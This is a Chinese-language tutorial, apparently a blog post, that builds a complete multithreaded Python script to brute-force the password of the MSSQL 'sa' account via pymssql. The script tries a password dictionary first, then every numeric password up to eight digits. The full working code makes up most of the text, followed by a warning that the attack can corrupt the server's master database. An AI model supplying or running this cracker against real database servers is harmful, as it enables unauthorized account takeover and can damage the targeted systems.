一、編寫密碼測試函數
在用python連接mssql數據庫的時候,通常會使用pymssql模板中的connect函數,格式如下:
connect(server,user,password,database)
help文檔的函數介紹:
connect(...)
Constructor for creating a connection to the database. Returns a
Connection object.
正常情況下,如果輸入正確的server,user,password和database參數,該函數會返回一個數據庫連接對象,而輸入的參數是錯誤的信息時,則會報錯,並返回各種錯誤提示。
所以倘若使用循環語句,將所有可能的密碼字符串傳遞給connect函數,並配合try...except...就可以達到破解mssql一個指定賬號的密碼的目的了。
1 def cracker(server,pswd_list): 2 for pswd in pswd_list: 3 try: 4 conn=pymssql.connect(server,'sa',str(pswd),database='master') 5 print(u"服務器%s 賬號sa的密碼為 : %s\n" % (server,pswd)) 6 conn.close() 7 break 8 except: 9 continue
如上代碼:server為mssql服務器的地址,pswd_list為密碼字符串列表。
二、生成密碼列表
遍歷所有可能的密碼,既不現實也太花時間。
所以這里考慮的方案是
- 1、首先基於密碼字典進行破解
先嘗試網絡上流行使用的各類常用和簡單的密碼。
1 def get_pwlist(): 2 pwlist = [] 3 with open('passwddic.txt','r') as f: 4 for line in f.readlines(): 5 password = line.strip('\n') 6 pwlist.append(password) 7 return pwlist
- 2、在密碼字典沒有匹配到正確密碼的情況下,嘗試從1位到8位,遍歷所有的數字組合。
一個簡單的方案就是使用range(1,100000000),將1到100000000間所有的數值作為密碼就行嘗試。
三、開啟多線程
雖然目前縮小的密碼樣本空間,但是通過循環遍歷這些密碼還是要花費太多的時間。
所以這里需要利用模板threading使用多線程同時測試這些密碼,大幅縮減遍歷所有密碼所需時間。這里需要解決兩個問題:一方面,我們需要把密碼列表根據分配的線程數平分給各個線程。另一方面,需要設置一個變量tag,初始設置成False,當一個線程找到正確密碼的時候將該變量更改為True,這樣其他的線程就可以根據這個變量提前結束運行,不再做不必要的測試。
全部的代碼如下:
1 #!/usr/bin/evn python 2 #-*- coding:utf-8 -*- 3 ''' 4 Created on 2018年11月19日 5 6 @author: jinfeng 7 ''' 8 9 10 from threading import Thread 11 import time 12 import os 13 import pymssql 14 15 16 def cracker(server,pswd_list,no): 17 global tag 18 19 print(u"No.%s號線程已開始運行,對%d個常用密碼進行測試 !" % (no,len(pswd_list))) 20 for pswd in pswd_list: 21 if not tag: 22 try: 23 conn=pymssql.connect(server,'sa',str(pswd),database='master') 24 print(u"No.%s號線程運行結束 !\n 服務器%s 賬號sa的密碼為 : %s\n" % (no,server,pswd)) 25 tag = True 26 conn.close() 27 break 28 except: 29 continue 30 else: 31 break 32 33 #print(u"No.%s號線程運行結束 !" % no) 34 35 36 def get_pwlist(): 37 pwlist = [] 38 with open('passwddic.txt','r') as f: 39 for line in f.readlines(): 40 password = line.strip('\n') 41 pwlist.append(password) 42 return pwlist 43 44 def main(): 45 global tag 46 tag = False 47 server = '127.0.0.1' 48 num_thread = 10 49 time_start = time.time() 50 pwlist = get_pwlist() 51 step = len(pwlist)//num_thread+1 52 for n in range(num_thread): 53 t1 = Thread(target = cracker,args = (server,pwlist[step*n:step*n+step],str(n+1),)) 54 t1.start() 55 t1.join() 56 57 if not tag: 58 print(u'密碼字典測試完畢,未找到匹配密碼,將遍歷測試8位以內所有數字密碼!') 59 for m in range(10): 60 t2 = Thread(target = cracker,args = (server,range(m*10000000,(m+1)*10000000),str(m+1)+'+',)) 61 t2.start() 62 t2.join() 63 time_end = time.time() 64 time_use = time_end - time_start 65 print(u'用時 %d時%d分%d秒' % (time_use//3600,time_use%3600//60,time_use%60)) 66 67 68 if __name__ == "__main__": 69 main()
運行結果如下:
警告:高密度頻繁訪問mssql的數據庫,有可能讓數據庫的主服務崩潰(master數據庫文件損壞),所以最好提前備份好數據庫中的系統數據庫(先停止mssql主服務,備份master.mdf和mastlog.ldf兩個文件)。系統數據庫崩潰后,如下圖,錯誤代碼3417。否則只就能從其他地方復制master.mdf和mastlog.ldf來替換本地損壞文件。